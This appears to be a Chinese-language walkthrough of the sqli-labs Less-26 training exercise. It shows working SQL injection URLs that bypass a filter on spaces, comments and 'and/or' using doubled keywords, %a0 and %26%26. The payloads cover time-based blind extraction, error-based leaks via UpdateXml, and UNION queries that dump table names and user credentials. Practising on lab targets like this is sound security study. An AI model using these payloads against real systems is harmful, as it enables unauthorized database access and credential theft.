看了下源码
所有的注释形式和反斜线,and,or都被了过滤掉了
单引号没有过滤
空格也被过滤了
http://localhost/sqli-labs-master/Less-26/?id=1'
http://localhost/sqli-labs-master/Less-26/?id=1' '
看了网上的一些方法都是使用了%a0替换掉了空格
http://localhost/sqli-labs-master/Less-26/?id=1'%a0oorr%a0'1'='1
但是出了一点问题,似乎无法识别%a0这个字符,有人说是window环境下apache的问题
可以先放着,因为这个语句是可以正常被执行的
http://localhost/sqli-labs-master/Less-26/?id=1'oorr'1'='1
SELECT * FROM users WHERE id='1'or'1'='1' LIMIT 0,1
利用这一点,可以构造这样的注入
id参数的值不包含注释不包含空格,却可以在正常执行,当user()的第一个字符为'r'的时候,延时1s
http://localhost/sqli-labs-master/Less-26/?id=1'%26%26sleep(ascii(mid(user(),1,1))=114)%26%26'1'='1
select * from users where id='1'&&sleep(ascii(mid(user(),1,1))=114)&&'1'='1' limit 0,1
当然出错信息没有被屏蔽也可以用UpdateXml函数直接报错来显示
http://localhost/sqli-labs-master/Less-26/?id=1'%26%26UpdateXml(1,concat(0x7e,user(),0x7e),1)%26%26'1'='1
换到LAMP环境下再试一下
使用%a0代替空格
http://192.168.136.128/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,2,'3
payload
http://192.168.136.128/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,2,table_name%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security
取数据
http://192.168.136.128/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,username,passwoorrd%a0from%a0users%a0limit%a01,1%a0union%a0select%a01,2,'3